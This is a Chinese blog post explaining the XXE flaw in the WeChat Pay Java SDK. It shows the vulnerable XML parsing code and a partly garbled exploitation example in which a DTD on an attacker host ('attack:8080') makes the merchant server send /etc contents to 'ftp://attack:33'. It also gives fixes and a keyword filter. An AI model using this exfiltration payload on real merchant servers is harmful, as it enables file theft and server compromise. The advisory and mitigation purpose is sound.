php微信支付漏洞,微信支付sdk被曝xxe漏洞,漏洞原理分析

昨日在国外安全社区seclists有一个署名叫Rose Jackcode的白帽子公布了微信支付sdk的一个严重的安全漏洞(xxe漏洞)。攻击者可以伪造一个恶意的回调数据请求(xml格式),读取商户服务器上任意文件,甚至可以执行远程系统命令,导致商户服务器被入侵。

目前微信支付安全团队表示已对该SDK进行更新,修复了已知的安全漏洞,并在此提醒商户及时更新。

虽然微信支付官网上的sdk更新了,但是漏洞是存在于商户的网站系统中,需要商户下载最新的sdk对系统进行更新发布(或者看下面的自己修复方案)。因此目前还有大量的微信商户系统存在此漏洞,相关商户需要及时更新。

来看看该微信支付sdk漏洞如何造成的:

什么是xxe漏洞,xxe全称为XML External Entity attack,即XML外部实体漏洞。XML定义的外部实体可以载入本地或者远程的内容。

受影响版本: WxPayAPI_JAVA_v3.zip (之前版本的应该也受影响)

漏洞版本sdk中的README.md出示的例子:

String notifyData = "....";

MyConfig config = new MyConfig();

WXPay wxpay = new WXPay(config); //conver to map

Map notifyMap = WXPayUtil.xmlToMap(notifyData);

....

WXPayUtil里:

public static Map xmlToMap(String strXML) throws Exception {

Map data = new HashMap();

DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance();

// 没有xxe防范

DocumentBuilder documentBuilder = documentBuilderFactory.newDocumentBuilder();

InputStream stream = new ByteArrayInputStream(strXML.getBytes( "UTF-8")); org.w3c.dom.Document doc = documentBuilder.parse(stream);

...

}

如何模拟利用此漏洞:

向商家回调的url中模拟post以下xml数据:

%hxt;

]>

http://attack:8080为攻击者自己搭建的服务器,在data.dtd中写上:

">

%shell;

%upload;

触发XXE攻击后,商家服务器会把/etc/的内容发送到攻击者的ftp://attack:33上。

不用最新版sdk修复方案:

方案1.

禁用外部实体,在WXPayUtil里

DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance();

下面加上

documentBuilderFactory.setExpandEntityReferences(false);

方案2.

过滤用户提交的XML数据

关键词:!ENTITY,或者,SYSTEM和PUBLIC。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值